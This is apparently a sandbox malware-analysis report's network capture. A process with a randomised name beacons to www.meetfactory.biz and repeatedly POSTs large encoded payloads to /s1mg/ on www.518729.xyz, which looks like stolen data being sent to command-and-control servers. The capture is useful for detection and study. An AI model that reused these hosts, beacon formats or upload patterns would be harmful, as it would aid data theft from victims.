Aug 27, 2024 07:58:52.502243042 CEST	2578	OUT	Data Raw: 56 31 41 4e 65 5a 67 2f 34 41 75 6f 2f 41 42 37 68 73 76 36 49 44 54 5a 4a 69 63 4c 73 62 64 54 37 75 6f 37 53 32 71 67 57 4a 47 36 59 33 31 5a 50 36 6d 6f 47 7a 54 75 76 63 33 2b 70 4f 64 66 72 35 47 35 44 6f 67 73 69 30 4e 7a 6e 41 35 4f 41 35 Data Ascii: V1ANeZg/4Auo/AB7hsv6IDTZJicLsbdT7uo7S2qgWJG6Y31ZP6moGzTuvc3+pOdfr5G5Dogsi0NznA5OA5VqBPUM4D6nBXGPVN/s6fcKtw0lW031kG3yTqxvqbSMYL3zRM8nUWS1jn/mDutVl7SqF4v3O+WtukrELUsDvE0o6QmCuCE9pbDafi0cIvqesbxRot4OVrrNEC9jcVfSYTGJ17JVDUeVzPnWoBTqPsxfA1BOiqy2bXW
Aug 27, 2024 07:58:52.502429962 CEST	10312	OUT	Data Raw: 5a 67 79 43 78 58 4e 36 7a 55 47 69 4e 76 42 31 39 33 68 41 2f 6b 6a 59 2f 59 63 30 38 6d 45 61 41 58 61 6d 53 41 41 6d 35 7a 39 78 49 42 54 41 6a 7a 43 6c 74 53 4b 6e 78 2b 79 6f 75 50 56 2f 6c 2b 66 77 70 79 6a 63 64 78 73 44 76 6d 74 6c 42 7a Data Ascii: ZgyCxXN6zUGiNvB193hA/kjY/Yc08mEaAXamSAAm5z9xIBTAjzCltSKnx+youPV/l+fwpyjcdxsDvmtlBzw1zkrGSHXmB8Y/9gKI/8t/M/m39p9ENfd5vm7iuFcAwhrTKKHJERZA+QoEUwum4vxsDDVjOjuoylk7dhpUWLeNZezmSJ9jnkcBg7PItjpHe8aOu0EpfUN72Ys9kyGjQ4q5Jki/8WHpS8shnhmcjp3JjriEhcB7iWI
Aug 27, 2024 07:58:52.502638102 CEST	5156	OUT	Data Raw: 63 61 79 61 71 48 45 77 69 7a 47 4d 33 46 34 41 32 6d 36 33 61 48 66 41 66 33 63 46 38 64 61 5a 6f 50 71 51 74 35 73 33 4a 58 76 54 6f 6d 4b 34 6d 58 6f 6d 67 7a 4c 6d 31 44 71 74 5a 30 78 64 56 69 2b 6b 54 78 76 76 48 57 72 65 72 35 2f 69 4a 74 Data Ascii: cayaqHEwizGM3F4A2m63aHfAf3cF8daZoPqQt5s3JXvTomK4mXomgzLm1DqtZ0xdVi+kTxvvHWrer5/iJt/ntLVebAKB6yParMRNzRS6Ut94fIoyEuNVLL7/Wb7igTqFp3YPBOPosLSziq8G+aFpJzE26bzbnL/XRxB9B8W/j73K33n96tkCfm3G/7dK8uvXywiT+VjUXbDYxxFHef9tcQaqQe9BwVsOHW9RaxpUOko82hTY2tY
Aug 27, 2024 07:58:52.503048897 CEST	778	IN	HTTP/1.1 413 Request Entity Too Large server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 05:58:52 GMT content-type: text/html content-length: 607 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d [TRUNCATED] Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body bgcolor="white"><center><h1>413 Request Entity Too Large</h1></center><hr><center>openresty/1.13.6.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 27, 2024 07:58:52.635673046 CEST	2578	OUT	Data Raw: 76 36 2f 49 4e 37 38 4e 6e 44 54 44 53 31 52 4a 2f 44 54 51 4b 71 4f 48 69 63 65 53 44 49 64 44 59 58 6c 38 4a 57 44 31 48 76 4f 72 63 56 4c 68 35 73 56 59 37 70 6e 69 6d 2f 50 66 51 6e 38 53 71 6e 2b 75 51 72 4e 43 55 78 53 71 6e 36 32 64 35 48 Data Ascii: v6/IN78NnDTDS1RJ/DTQKqOHiceSDIdDYXl8JWD1HvOrcVLh5sVY7pnim/PfQn8Sqn+uQrNCUxSqn62d5H05PVlHLwmOHGHOS0sjnij8P3t6R3u17IJPlIHo05Mwt6nP8CA8lKDiZA0gZhgdQwoj2qceIBYe9hbIa/L/HCVU5cGZ3bmCgdHeYUkDrtkgN1z17guseEvHfObJ0RrqkejDo56rXHHMAwzRK+eOrVP3Mc7jmsyPOgc
Aug 27, 2024 07:58:52.635797024 CEST	10312	OUT	Data Raw: 54 39 74 58 76 50 75 53 50 73 6a 61 43 51 39 62 35 57 43 43 35 38 4e 39 36 79 70 32 55 6e 4d 2b 36 7a 54 55 66 6a 48 4c 39 67 59 55 6e 49 2f 63 38 45 41 70 56 31 55 49 4e 66 64 4e 33 2f 32 79 4c 30 42 68 55 5a 49 4e 51 58 35 44 74 46 48 70 4d 6f Data Ascii: T9tXvPuSPsjaCQ9b5WCC58N96yp2UnM+6zTUfjHL9gYUnI/c8EApV1UINfdN3/2yL0BhUZINQX5DtFHpMoBSSlc6MwW9b6oRlBpDD4PoFhzWJ/0PHwr5fbffex9uDI/rtmS/glfJfj13WyuJJYgTWFTAqy4gv+s53jrCwStGYrARKsW1gTKZS7q20logvEteGvlpKSEl3jyKTB6ckq25UHrdBDeNbfzDM7A2vp70DlgUh6AOa6L
Aug 27, 2024 07:58:52.635862112 CEST	2000	OUT	Data Raw: 49 45 6b 63 78 67 59 6b 69 77 4a 49 43 4f 68 61 30 4b 6f 38 37 49 6c 6b 2b 41 53 63 4b 68 64 6b 4b 63 68 50 55 50 74 44 76 46 4d 62 77 55 34 4c 78 65 6c 43 66 4e 61 2f 69 46 38 62 53 6b 35 4f 49 78 4b 77 5a 64 31 66 35 73 77 79 32 4d 34 67 6d 34 Data Ascii: IEkcxgYkiwJICOha0Ko87Ilk+AScKhdkKchPUPtDvFMbwU4LxelCfNa/iF8bSk5OIxKwZd1f5swy2M4gm4MRC0//a75XI+fsjjfI/ejAJtgmY+8bE+aZdE8uyxguIpiK1oVkoRKVXdVl9J8BeGF69fHzw/LXfsTOLwRoC5A2K3OgQpkKYDzp4isVN/jfNApJ55A9urXFIs93v5H1cRVzgbCNMoXRJvixInq06wAGEyCBjdGm8ON

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49849	96.126.123.244	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:58:55.036791086 CEST	549	OUT	GET /o0e7/?ij60MtY=xHuhihA5a0RCQDr7UqpawT1cYL9BOqgbdgZ3/38wD7lrSrU6llHUt19Sg65W4AIkiHRz640OtFHlOrepbmqCRMN0Rn3a8HvHNm6R1WOOyMUaxc5SdqEBk4o=&wXB=brv4Erb HTTP/1.1 Host: www.meetfactory.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 07:58:55.172287941 CEST	1289	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Tue, 27 Aug 2024 05:58:55 GMT content-type: text/html transfer-encoding: chunked connection: close Data Raw: 34 39 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 37 30 2e 6d 65 65 74 66 61 63 [TRUNCATED] Data Ascii: 498<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title></title> <noscript> <meta http-equiv="refresh" content="0;url=http://www70.meetfactory.biz/" /> </noscript> <meta http-equiv="refresh" content="5;url=http://www70.meetfactory.biz/" /> </head> <body onload="do_onload()"> <script type="text/javascript"> function do_onload() { window.top.location.href = "http://www.meetfactory.biz/o0e7?gp=1&js=1&uuid=1724738335.0053358673&other_args=eyJ1cmkiOiAiL28wZTciLCAiYXJncyI6ICJpajYwTXRZPXhIdWhpaEE1YTBSQ1FEcjdVcXBhd1QxY1lMOUJPcWdiZGdaMy8zOHdEN2xyU3JVNmxsSFV0MTlTZzY1VzRBSWtpSFJ6NjQwT3RGSGxPcmVwYm1xQ1JNTjBSbjNhOEh2SE5tNlIxV09PeU1VYXhjNVNkcUVCazRvPSZ3WEI9YnJ2NEVyYiIsICJyZWZlcmVyIjogIiIsICJhY2NlcHQiOiAidGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhd [TRUNCATED]
Aug 27, 2024 07:58:55.172358036 CEST	55	IN	Data Raw: 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: } </script> </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49850	23.231.158.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:00.778865099 CEST	808	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6c 46 4a 47 38 6e 5a 72 48 4f 54 72 33 2b 47 76 34 58 6a 6a 73 45 42 4d 79 58 57 4a 32 5a 7a 63 4a 67 66 71 63 4f 67 37 4b 76 41 6c 79 4e 4d 47 39 79 4c 74 56 7a 6c 64 65 45 6c 53 56 4f 31 64 42 55 51 31 41 62 52 30 57 4a 62 31 61 74 6d 44 6a 6c 51 43 4c 69 4d 6f 70 31 52 6e 36 77 50 71 64 42 36 31 56 76 4e 52 42 4b 78 7a 44 75 4f 4a 52 35 43 62 31 50 6a 75 47 53 48 6f 6b 66 68 71 63 49 51 67 54 50 45 49 58 63 61 56 4e 4a 30 63 56 76 73 74 43 4c 4e 49 50 48 4a 42 57 76 69 6c 44 53 70 4b 5a 4c 4f 61 2f 6d 4d 31 64 67 68 54 76 6a 4a 31 6f 67 3d 3d Data Ascii: ij60MtY=7S9CtUeCTvzqlFJG8nZrHOTr3+Gv4XjjsEBMyXWJ2ZzcJgfqcOg7KvAlyNMG9yLtVzldeElSVO1dBUQ1AbR0WJb1atmDjlQCLiMop1Rn6wPqdB61VvNRBKxzDuOJR5Cb1PjuGSHokfhqcIQgTPEIXcaVNJ0cVvstCLNIPHJBWvilDSpKZLOa/mM1dghTvjJ1og==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49851	23.231.158.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:03.624777079 CEST	1148	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6b 67 42 47 2b 47 5a 72 46 75 54 71 30 2b 47 76 78 33 6a 6e 73 45 64 4d 79 53 75 6a 32 4d 62 63 4a 41 76 71 64 50 67 37 4e 76 41 6c 36 74 4d 44 35 79 4c 6d 56 7a 70 72 65 46 5a 53 56 4f 68 64 41 6e 59 31 52 62 52 37 64 70 62 32 4d 64 6d 34 6e 6c 51 79 4c 69 78 44 70 30 31 6e 36 68 6a 71 63 48 6d 31 52 2b 4e 53 57 71 78 31 55 65 4f 4b 59 5a 43 56 31 50 2b 52 47 54 4f 54 6c 71 70 71 63 72 49 67 53 50 45 4a 64 73 61 53 41 70 31 65 62 2b 56 37 4f 76 78 59 66 32 70 79 55 4f 6d 6a 42 42 31 6e 58 36 47 45 6d 31 59 37 46 78 4e 46 35 43 67 6d 30 53 63 45 4d 34 59 47 50 39 53 2f 68 4d 71 49 4e 4b 71 36 61 70 4f 4f 33 63 36 54 4e 4d 4b 65 68 49 39 32 69 74 75 78 4f 51 4e 4c 70 66 6e 79 47 6f 43 46 73 6a 4e 31 41 67 68 2f 69 4a 4d 37 65 4a 2f 5a 77 77 72 65 63 64 72 58 2b 41 41 64 6e 54 77 4a 52 4a 53 4a 4d 64 38 75 33 6b 72 73 63 64 73 4b 52 6f 52 75 32 74 6c 6b 4d 74 2b 4c 65 63 76 6b 4f 35 54 45 76 49 31 44 71 6e 4f 4a 73 31 41 64 2b 36 4c 73 64 76 [TRUNCATED] Data Ascii: ij60MtY=7S9CtUeCTvzqkgBG+GZrFuTq0+Gvx3jnsEdMySuj2MbcJAvqdPg7NvAl6tMD5yLmVzpreFZSVOhdAnY1RbR7dpb2Mdm4nlQyLixDp01n6hjqcHm1R+NSWqx1UeOKYZCV1P+RGTOTlqpqcrIgSPEJdsaSAp1eb+V7OvxYf2pyUOmjBB1nX6GEm1Y7FxNF5Cgm0ScEM4YGP9S/hMqINKq6apOO3c6TNMKehI92ituxOQNLpfnyGoCFsjN1Agh/iJM7eJ/ZwwrecdrX+AAdnTwJRJSJMd8u3krscdsKRoRu2tlkMt+LecvkO5TEvI1DqnOJs1Ad+6LsdvI1Ry5sEuI/Kfi3AnuxNGkMsA4yMqdl/QjThh+M3A/dU/HVrtDlBbHBZyS+WSIJagEUH/N5zKxosmFeY9i1wPWaAD09XKL2g9zL4BuGY0PklUjL9i7Hkeco+vY8xwEEVbm+pD1ZDNtZJ7cDr9e+glV1qb6ch7xPMrDYUvs7IE3tQC96Xuph3/4DApL5nofFi6ZuU6ORQw9a8hc=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49852	23.231.158.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 07:59:06.475186110 CEST	1289	OUT	POST /s1mg/ HTTP/1.1 Host: www.518729.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.518729.xyz Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.518729.xyz/s1mg/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 37 53 39 43 74 55 65 43 54 76 7a 71 6b 67 42 47 2b 47 5a 72 46 75 54 71 30 2b 47 76 78 33 6a 6e 73 45 64 4d 79 53 75 6a 32 4d 44 63 49 7a 6e 71 63 73 34 37 4d 76 41 6c 77 4e 4d 43 35 79 4c 33 56 7a 42 33 65 46 55 74 56 4d 5a 64 41 30 67 31 52 4f 46 37 59 70 62 33 53 4e 6d 41 6a 6c 51 59 4c 69 4e 58 70 30 51 61 36 77 6e 71 64 41 4b 31 56 4e 56 52 4d 61 78 7a 55 65 4f 47 63 5a 44 6f 31 50 72 4d 47 54 43 54 6c 75 56 71 64 5a 41 67 55 59 51 4a 65 4d 61 52 4c 4a 31 72 55 65 56 4b 4f 75 52 71 66 32 70 45 55 50 53 6a 42 43 74 6e 57 39 36 44 6d 56 59 37 61 42 4e 45 72 79 63 69 30 53 6f 63 4d 34 38 47 50 36 75 2f 69 73 71 49 49 70 79 35 64 4a 4f 41 7a 63 36 2b 66 38 57 57 68 4d 56 45 69 73 4b 78 4f 42 70 4c 6f 73 2f 79 44 4b 71 46 6d 6a 4e 7a 64 51 68 73 34 35 4d 52 65 4a 50 2f 77 78 4c 6b 63 64 66 58 6b 6b 55 64 69 32 51 4f 59 4a 53 31 41 39 38 37 38 45 6e 65 63 63 42 52 52 6f 52 2b 32 70 64 6b 4d 64 4f 4c 64 59 37 6c 4f 70 54 66 70 49 31 73 7a 32 79 66 73 7a 6c 51 2b 35 62 47 64 6f [TRUNCATED] Data Ascii: ij60MtY=7S9CtUeCTvzqkgBG+GZrFuTq0+Gvx3jnsEdMySuj2MDcIznqcs47MvAlwNMC5yL3VzB3eFUtVMZdA0g1ROF7Ypb3SNmAjlQYLiNXp0Qa6wnqdAK1VNVRMaxzUeOGcZDo1PrMGTCTluVqdZAgUYQJeMaRLJ1rUeVKOuRqf2pEUPSjBCtnW96DmVY7aBNEryci0SocM48GP6u/isqIIpy5dJOAzc6+f8WWhMVEisKxOBpLos/yDKqFmjNzdQhs45MReJP/wxLkcdfXkkUdi2QOYJS1A9878EneccBRRoR+2pdkMdOLdY7lOpTfpI1sz2yfszlQ+5bGdo41QS5sBNw8Cvi6fXunJGkbsAEUMrZ1/hfTgRuM1g/eEPHJgNDnFbHBZyWAWSUJa1wUBNF5ws5oqmFEY9iewPa5AD8TXL7Ig+fL4weGMVPl10jK3C7cgeQz+rw0xz95Ws++oDlZIttWMbcI9tf7klZpqbmqh71fMoDYFYIlbVXmLjMtSKtB1PwkF+L3jZTPksNWWMyvBBdmqnqA13/f8mZcq0I6m72uUmj4tSncpO6cOnQ61N8T0LX7CUH6wfQekqIps6swMhFgzsUrn7YhRHTaZNhV6yR1yUsWzBDT7fKMFdJQl5sZmyMPJwCtnjRS24LjJwpOgZA/VehYBCqH1NI4t/I
Aug 27, 2024 07:59:06.475239038 CEST	5156	OUT	Data Raw: 6b 6e 47 6c 52 5a 73 61 70 39 6d 44 78 41 48 6e 51 55 6b 4b 33 51 51 45 6b 61 4f 55 71 48 63 6d 4e 78 65 41 69 38 52 30 63 6d 5a 7a 34 73 55 72 39 43 37 51 4c 44 57 55 2b 71 62 42 70 55 46 57 34 6f 43 71 70 38 79 45 75 58 79 33 2b 37 6c 53 4e 73 Data Ascii: knGlRZsap9mDxAHnQUkK3QQEkaOUqHcmNxeAi8R0cmZz4sUr9C7QLDWU+qbBpUFW4oCqp8yEuXy3+7lSNsAGYEtLJqQiDaA6YZ3x2MA0vulOw1qLkmWOVQIlVUJ57Uzy6DAA6T6rpAqFtRLR3mZdmF0I/oaAA36eQRq+0EYY03bhVOnCmLM0p/IfosivljJYTlyGYAYZgU0rj6s3q6300XGlTd3oybrhB9W5vREwrVPMdTHLFGe
Aug 27, 2024 07:59:06.475286007 CEST	6445	OUT	Data Raw: 37 54 71 37 47 4f 58 66 4d 64 69 4e 71 78 66 46 4b 57 77 34 62 6e 49 78 5a 57 64 76 5a 63 67 70 73 71 2f 6b 50 33 55 76 44 49 44 6e 56 37 46 49 33 6a 46 58 32 44 31 4a 41 35 62 6d 34 52 53 33 68 41 79 67 34 6a 4f 6a 77 63 74 56 64 34 52 63 70 39 Data Ascii: 7Tq7GOXfMdiNqxfFKWw4bnIxZWdvZcgpsq/kP3UvDIDnV7FI3jFX2D1JA5bm4RS3hAyg4jOjwctVd4Rcp9LVT2epDPas4oq0wKbKTdMHytdi2IlYau+nZ2kGRjzLbS/6N0v/Zy1xaJhkZfIqiFgKXDzTngap/10yNCNYwJK3rsM0j7qs+lkTjLwmG67okLj1a57skdfkyXeA7dDYpG2jEeQ1B9Z/2xsOyY4jOYPQnXLKaPiOW1X
Aug 27, 2024 07:59:06.794689894 CEST	2578	OUT	Data Raw: 67 48 76 5a 56 4c 70 4d 36 42 7a 70 65 6c 48 77 35 73 47 43 6a 55 58 68 47 75 36 6a 72 6c 43 63 33 32 51 50 45 65 2f 37 72 51 78 35 62 48 52 56 70 55 4a 75 39 5a 69 4e 63 33 5a 46 36 6e 6b 4c 54 59 30 42 48 70 56 7a 4d 31 74 36 59 52 4a 77 4e 6e Data Ascii: gHvZVLpM6BzpelHw5sGCjUXhGu6jrlCc32QPEe/7rQx5bHRVpUJu9ZiNc3ZF6nkLTY0BHpVzM1t6YRJwNnNYe3ZWc2Q9x8GrriRFuz1oEPOHcorgJs/mg8eQvBqFnaAcixvAFtpHR3DfcyUvG5q7TEyehVGIeLLZuwoHiN7mGn60DeNSUeE6Zd1YRLxsmrCEZDcBRd7ZXcReOdNEehHWdK3C8IX5lYbLPBFgdkWIngbUCd8F8z1
Aug 27, 2024 07:59:06.795053005 CEST	1289	OUT	Data Raw: 57 39 35 76 62 51 77 77 5a 70 38 31 77 70 67 73 4d 68 54 53 2b 54 4d 56 77 30 68 64 56 62 6b 67 79 50 57 45 43 4d 47 76 6c 35 42 73 6b 57 66 79 76 53 67 2b 6f 34 46 47 2f 4a 72 79 4c 6a 6f 49 62 66 42 73 39 68 33 35 2f 35 37 43 4f 37 59 6e 72 73 Data Ascii: W95vbQwwZp81wpgsMhTS+TMVw0hdVbkgyPWECMGvl5BskWfyvSg+o4FG/JryLjoIbfBs9h35/57CO7Ynrs2dnrC+K+aYFgmVsEk50RFz2SSgcPCZZkeOt/uFOoOmlNKFdhh/MZ2Vw5LpeRxXk5LwFPCEV8rICOlzjWSKs0LoK0J6e9fZFB+Adbp7GqIVdQnLDvUgLgWs7m5gOc78HTETufKM80hxlXsnj/Tw7DGXI2Ct+XR67ew
Aug 27, 2024 07:59:06.795223951 CEST	3867	OUT	Data Raw: 33 39 6f 30 2b 4e 68 4b 4c 45 4a 64 45 47 33 54 4b 36 63 4f 32 58 32 78 48 7a 41 34 65 38 31 6d 61 38 65 35 37 62 4f 6c 68 38 35 39 6b 61 41 50 72 64 37 34 33 35 4b 70 33 59 4c 33 4a 35 63 36 70 58 37 75 51 4d 76 30 36 64 4a 39 64 63 57 69 31 30 Data Ascii: 39o0+NhKLEJdEG3TK6cO2X2xHzA4e81ma8e57bOlh859kaAPrd7435Kp3YL3J5c6pX7uQMv06dJ9dcWi10g0LR7LvrztL3YIN5MuOMFbuu7lnSBC9emVfAxtEPEkXTEyONVM1DvNmu8j5sdZyAYFiaw7LIPafq8ARFMWc6moS0CE1AWgc/5MhkHcK4sJ9RoHRdG2iXoe15K86fOUclvftVHx1jCi+BFR++mykssixGculxF6XkR
Aug 27, 2024 07:59:06.795273066 CEST	5156	OUT	Data Raw: 67 49 6e 6f 4d 4f 6f 46 4c 47 53 6e 4a 31 50 66 56 42 4c 70 76 57 39 42 53 5a 78 61 4c 4c 50 59 73 58 2b 50 31 61 48 47 2b 57 35 78 6e 73 78 38 4f 52 69 34 4b 73 45 31 38 4c 33 57 30 57 50 53 32 71 78 55 49 51 33 5a 53 55 42 38 39 4f 5a 49 7a 77 Data Ascii: gInoMOoFLGSnJ1PfVBLpvW9BSZxaLLPYsX+P1aHG+W5xnsx8ORi4KsE18L3W0WPS2qxUIQ3ZSUB89OZIzwyusJXr1ehlrhV/ZeujuPMyPXd/lN+zFv5KgHET0FE7eQjnYGpWI1KG795CqjmgimE8aHW0Mb7aiC2C9YMatYFxMofbkmcrIbKFXAcLOUqr/A0mEW9D733CVQMzNzHgLH1g3onANlVXf/q/8mdbh6TWiC7wxd+85z5
Aug 27, 2024 07:59:06.795361996 CEST	10312	OUT	Data Raw: 59 67 32 34 30 4f 39 6c 7a 55 70 61 31 68 45 41 55 32 31 74 39 34 43 76 4f 33 38 37 6e 74 43 6e 49 49 45 34 48 49 33 7a 4c 6f 58 32 38 56 2b 62 6a 6d 58 71 61 63 33 77 43 37 5a 50 32 61 6b 5a 57 46 45 67 4a 36 4a 71 75 33 64 67 30 43 66 79 6a 30 Data Ascii: Yg240O9lzUpa1hEAU21t94CvO387ntCnIIE4HI3zLoX28V+bjmXqac3wC7ZP2akZWFEgJ6Jqu3dg0Cfyj09fraFKo07PaChWCKuUKg26S4y+E79XPdUe+xzFowPDPayaHHnF1Q56gvKiNoiNMAQb39jQ3h6EVNga90KljSlC9ofSwS69xhAMIJziQiVScgX6OP0UwKWYrXb71Tn255CLdmoFsWZySF/X/Bvt93ZOgsb1+DLiceF
Aug 27, 2024 07:59:06.795527935 CEST	1289	OUT	Data Raw: 43 77 79 73 78 65 6a 6f 2b 59 74 67 33 50 68 2f 44 62 33 52 59 48 56 4b 37 6c 59 4e 66 31 41 39 69 59 70 59 77 51 5a 47 79 4e 39 4f 72 7a 4f 52 68 2f 32 44 38 54 47 42 71 6b 2b 65 49 43 50 65 64 31 6c 32 59 66 58 61 76 42 78 58 4e 4d 57 4a 67 63 Data Ascii: Cwysxejo+Ytg3Ph/Db3RYHVK7lYNf1A9iYpYwQZGyN9OrzORh/2D8TGBqk+eICPed1l2YfXavBxXNMWJgcr/b2z6NvIHuPPVft5k08pwRXw1cx/iBbHJADm9EdZFoC3/DkXJWr3q4Z2HwKo8NTJIITHXijeHk5X2Rc/T7v4fgmeqcxhLEYuJateyws94nWfdEfj4ufXqaIAqkDSxtcvwl/4Afu58PxQ2WUK8Cx3H+xBAZyL9Aar
